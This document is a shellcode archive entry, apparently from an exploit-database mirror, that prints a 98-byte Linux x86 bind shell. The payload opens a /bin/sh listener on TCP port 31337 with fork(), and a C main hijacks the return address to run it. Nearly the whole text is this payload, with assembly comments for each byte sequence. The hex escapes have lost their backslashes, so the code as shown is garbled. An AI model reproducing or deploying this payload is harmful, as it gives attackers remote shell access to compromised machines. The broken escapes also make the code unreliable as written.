[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 Bind /bin/sh to 31337/tcp + fork() 98 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 Bind /bin/sh to 31337/tcp 80 bytes
# Next Title : linux/x86 24/7 open cd-rom loop (follows /dev/cdrom symlink) 39 bytes


/*
 * (linux/x86) bind '/bin/sh' to 31337/tcp + fork() - 98 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax66"              // push $0x66 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x6ax01"              // push $0x1 
	"x5b"                  // pop %ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x6ax02"              // push $0x2 

	//
	// <_doint>:
	//

	"x89xe1"              // mov %esp,%ecx 
	"xcdx80"              // int $0x80 

	"x5b"                  // pop %ebx 
	"x5d"                  // pop %ebp 
	"x52"                  // push %edx 
	"x66xbdx69x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
	"x0fxcd"              // bswap %ebp 
	"x09xdd"              // or %ebx,%ebp 
	"x55"                  // push %ebp 
	"x6ax10"              // push $0x10 
	"x51"                  // push %ecx 
	"x50"                  // push %eax 
	"x89xe1"              // mov %esp,%ecx 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 
	"xb3x04"              // mov $0x4,%bl 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 

	//
	// <_acceptloop>:
	//

	"x5f"                  // pop %edi 
	"x50"                  // push %eax 
	"x50"                  // push %eax 
	"x57"                  // push %edi 
	"x89xe1"              // mov %esp,%ecx 
	"x43"                  // inc %ebx 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 
	"x93"                  // xchg %eax,%ebx 
	"xb0x02"              // mov $0x2,%al 
	"xcdx80"              // int $0x80 
	"x85xc0"              // test %eax,%eax 
	"x75x1a"              // jne <_parent> 
	"x59"                  // pop %ecx 

	//
	// <_dup2loop>:
	//

	"xb0x3f"              // mov $0x3f,%al 
	"xcdx80"              // int $0x80 
	"x49"                  // dec %ecx 
	"x79xf9"              // jns <_dup2loop> 

	"xb0x0b"              // mov $0xb,%al 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"xebxb2"              // jmp <_doint> 

	//
	// <_parent>:
	//

	"x6ax06"              // push $0x6 
	"x58"                  // pop %eax 
	"xcdx80"              // int $0x80 
	"xb3x04"              // mov $0x4,%bl 
	"xebxc9";             // jmp <_acceptloop> 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]